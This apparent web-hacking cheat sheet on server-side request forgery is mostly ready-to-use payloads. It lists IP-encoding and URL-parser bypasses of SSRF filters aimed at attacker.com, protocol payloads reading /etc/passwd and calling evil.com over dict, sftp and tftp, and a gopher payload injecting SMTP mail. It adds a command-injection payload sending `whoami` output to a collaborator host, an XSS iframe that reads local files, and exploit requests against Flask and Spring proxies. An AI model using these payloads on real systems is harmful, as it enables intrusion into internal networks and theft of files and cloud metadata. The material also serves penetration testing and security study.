445 lines
13 KiB
Markdown
445 lines
13 KiB
Markdown
# SSRF (Server Side Request Forgery)
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Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.
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# Capture SSRF
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* Burpcollab
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* http://pingb.in
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* https://canarytokens.org/generate
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* https://github.com/projectdiscovery/interactsh
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* https://github.com/teknogeek/ssrf-sheriff
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* https://webhook.site/#!/f97e9831-53bd-45c5-8d05-232dd08b9ed6
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* http://requestrepo.com
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* https://app.interactsh.com
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* https://github.com/stolenusername/cowitness
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# Bypass SSRF Protection
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* **Encode-IP**
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The Burp extension Burp-Encode-IP implements IP formatting bypasses
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* **Localhost**
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```html
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# Localhost
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http://127.0.0.1:80
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http://127.0.0.1:443
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http://127.0.0.1:22
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http://127.1:80
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http://127.000000000000000.1
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http://0
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http:@0/ --> http://localhost/
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http://0.0.0.0:80
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http://localhost:80
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http://[::]:80/
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http://[::]:25/ SMTP
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http://[::]:3128/ Squid
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http://[0000::1]:80/
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http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
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http://①②⑦.⓪.⓪.⓪
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# CDIR bypass
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http://127.127.127.127
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http://127.0.1.3
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http://127.0.0.0
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# Dot bypass
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127。0。0。1
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127%E3%80%820%E3%80%820%E3%80%821
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# Decimal bypass
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http://2130706433/ = http://127.0.0.1
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http://3232235521/ = http://192.168.0.1
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http://3232235777/ = http://192.168.1.1
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# Octal Bypass
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http://0177.0000.0000.0001
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http://00000177.00000000.00000000.00000001
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http://017700000001
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# Hexadecimal bypass
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127.0.0.1 = 0x7f 00 00 01
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http://0x7f000001/ = http://127.0.0.1
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http://0xc0a80014/ = http://192.168.0.20
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0x7f.0x00.0x00.0x01
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0x0000007f.0x00000000.0x00000000.0x00000001
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# Add 0s bypass
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127.000000000000.1
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# You can also mix different encoding formats
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# https://www.silisoftware.com/tools/ipconverter.php
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# Malformed and rare
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localhost:+11211aaa
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localhost:00011211aaaa
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http://0/
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http://127.1
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http://127.0.1
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# DNS to localhost
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localtest.me = 127.0.0.1
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customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
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mail.ebc.apple.com = 127.0.0.6 (localhost)
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127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
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www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
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http://customer1.app.localhost.my.company.127.0.0.1.nip.io
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http://bugbounty.dod.network = 127.0.0.2 (localhost)
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1ynrnhl.xip.io == 169.254.169.254
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spoofed.burpcollaborator.net = 127.0.0.1
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```
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* **Domain Parser**
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```html
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https:attacker.com
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https:/attacker.com
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http:/\/\attacker.com
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https:/\attacker.com
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//attacker.com
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\/\/attacker.com/
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/\/attacker.com/
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/attacker.com
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%0D%0A/attacker.com
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#attacker.com
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#%20@attacker.com
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@attacker.com
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http://169.254.1698.254\@attacker.com
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attacker%00.com
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attacker%E3%80%82com
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attacker。com
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ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
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```
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* **Domain Confusion**
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```html
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# Try also to change attacker.com for 127.0.0.1 to try to access localhost
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# Try replacing https by http
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# Try URL-encoded characters
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https://{domain}@attacker.com
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https://{domain}.attacker.com
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https://{domain}%6D@attacker.com
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https://attacker.com/{domain}
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https://attacker.com/?d={domain}
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https://attacker.com#{domain}
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https://attacker.com@{domain}
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https://attacker.com#@{domain}
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https://attacker.com%23@{domain}
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https://attacker.com%00{domain}
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https://attacker.com%0A{domain}
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https://attacker.com?{domain}
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https://attacker.com///{domain}
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https://attacker.com\{domain}/
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https://attacker.com;https://{domain}
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https://attacker.com\{domain}/
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https://attacker.com\.{domain}
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https://attacker.com/.{domain}
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https://attacker.com\@@{domain}
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https://attacker.com:\@@{domain}
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https://attacker.com#\@{domain}
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https://attacker.com\anything@{domain}/
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https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
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# On each IP position try to put 1 attackers domain and the others the victim domain
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http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
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#Parameter pollution
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next={domain}&next=attacker.com
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```
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* **Other Confusions**
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https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/
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* **Bypass via open redirect**
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Read more here: https://portswigger.net/web-security/ssrf
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# Protocols
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* file://
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```html
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file:///etc/passwd
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```
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* dict://
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```html
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dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
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ssrf.php?url=dict://attacker:11111/
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```
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* SFTP://
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```html
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ssrf.php?url=sftp://evil.com:11111/
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```
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* TFTP://
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```html
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ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
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```
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* LDAP://
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```html
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ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
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```
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* Gopher://
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```html
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//Gopher smtp
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ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
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will make a request like
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HELO localhost
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MAIL FROM:<hacker@site.com>
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RCPT TO:<victim@site.com>
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DATA
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From: [Hacker] <hacker@site.com>
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To: <victime@site.com>
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Date: Tue, 15 Sep 2017 17:20:26 -0400
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Subject: Ah Ah AHYou didn't say the magic word !
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.
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QUIT
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//Gopher HTTP
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#For new lines you can use %0A, %0D%0A
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gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
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gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
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//Gopher SMTP — Back connect to 1337
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<?php
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header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
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?>Now query it.
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https://example.com/?q=http://evil.com/redirect.php.
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```
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* **Curl URL globbing - WAF bypass**
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* https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi
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* https://everything.curl.dev/cmdline/globbing
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```html
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file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
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```
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* **SSRF via Referrer header**
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Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities.
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To discover this kind of "hidden" vulnerabilities you could use the plugin "Collaborator Everywhere" from Burp.
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* **SSRF via SNI data from certificate**
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The simplest misconfiguration that would allow you to connect to an arbitrary backend would look something like this
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```html
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stream {
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server {
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listen 443;
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resolver 127.0.0.11;
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proxy_pass $ssl_preread_server_name:443;
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ssl_preread on;
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}
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}
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```
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Here, the SNI field value is used directly as the address of the backend.
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With this insecure configuration, we can exploit the SSRF vulnerability simply by specifying the desired IP or domain name in the SNI field. For example, the following command would force Nginx to connect to internal.host.com
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```bash
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openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf
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```
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* **wget File Upload**
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```bash
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#Create file and HTTP server
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echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
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python3 -m http.server 9080
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```
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```bash
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#Download the file
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wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
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The name is too long, 240 chars total.
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Trying to shorten...
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New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
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--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
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Connecting to 127.0.0.1:9080... connected.
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HTTP request sent, awaiting response... 200 OK
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Length: 10 [image/gif]
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Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
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2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
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```
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Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.
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* **Command Injection**
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It might be worth trying a payload like:
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```html
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url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
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```
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# Blind SSRF
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* **Time based SSRF**
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Checking the time of the responses from the server it might be possible to know if a resource exists or not (maybe it takes more time accessing an existing resource than accessing one that doesn't exist)
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## SSRF to XSS
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```html
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http://brutelogic.com.br/poc.svg //simple alert
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https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= //simple ssrf
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https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg
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```
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## SSRF from XSS
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**Using an iframe**
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The content of the file will be integrated inside the PDF as an image or text
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```javascript
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<img src="echopwn" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
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```
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**Using an attachment**
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Example of a PDF attachment using HTML
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1. use `<link rel=attachment href="URL">` as Bio text
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2. use `'Download Data'` feature to get PDF
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3. use `pdfdetach -saveall filename.pdf` to extract embedded resource
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4. cat `attachment.bin`
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# SSRF on Flask Through Incorrect Pathname Interpretation
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Flask accepts certain characters that it shouldn't. As an example, the following HTTP request, which should be considered invalid, is surprisingly treated as valid by the framework, but the server responds 404 Not Found:
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```html
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GET @/ HTTP/1.1
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Host: target.com
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Connection: close
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```
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Below is an example of the code:
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```python
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from flask import Flask
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from requests import get
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app = Flask('__main__')
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SITE_NAME = 'https://google.com/'
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@app.route('/', defaults={'path': ''})
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@app.route('/<path:path>')
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def proxy(path):
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return get(f'{SITE_NAME}{path}').content
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app.run(host='0.0.0.0', port=8080)
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```
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"What if the developer forgets to add the last slash in the SITE_NAME variable?". And yes, it can lead to an **SSRF**.
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Since Flask also allows any ASCII character after the `@`, it's possible to fetch an arbitrary domain after concatenating the malicious pathname and the destination server.
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Please consider the following source code as a reference for the exploitation scenario:
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```python
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from flask import Flask
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from requests import get
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app = Flask('__main__')
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SITE_NAME = 'https://google.com'
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@app.route('/', defaults={'path': ''})
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@app.route('/<path:path>')
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def proxy(path):
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return get(f'{SITE_NAME}{path}').content
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if __name__ == "__main__":
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app.run(threaded=False)
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```
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Presented below is an example of an exploitation request:
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```html
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GET @evildomain.com/ HTTP/1.1
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Host: target.com
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Connection: close
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```
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In the following example, I was able to fetch my EC2 metadata:
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# SSRF on Spring Boot Through Incorrect Pathname Interpretation
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Spring framework accepts the matrix parameter separator character `;` before the **first slash** of the HTTP pathname:
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```html
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GET ;1337/api/v1/me HTTP/1.1
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Host: target.com
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Connection: close
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```
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If a developer implements a server-side request that utilizes the complete pathname of the request to fetch an endpoint, it can lead to the emergence of **Server-Side Request Forgery (SSRF)**.
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Please consider the following source code as a reference for the exploitation scenario:
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The code snippet above utilizes the `HttpServletRequest` API to retrieve the requested URL through the `getRequestURI()` function. Subsequently, it concatenates the requested URI with the destination endpoint **ifconfig.me**.
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Considering that Spring permits any character following the Matrix parameter separator, becoming possible to use the `@` character to fetch an arbitrary endpoint as well.
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Below is an example of the exploit request:
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```html
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GET ;@evil.com/url HTTP/1.1
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Host: target.com
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Connection: close
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```
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# SSRF at a glance
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[SSRF (Server-Side Request Forgery ).pdf](https://github.com/Mehdi0x90/Web_Hacking/files/12438160/SSRF.Server-Side.Request.Forgery.pdf)
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# Tools
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* https://github.com/swisskyrepo/SSRFmap
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* https://github.com/tarunkant/Gopherus
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* https://github.com/qtc-de/remote-method-guesser
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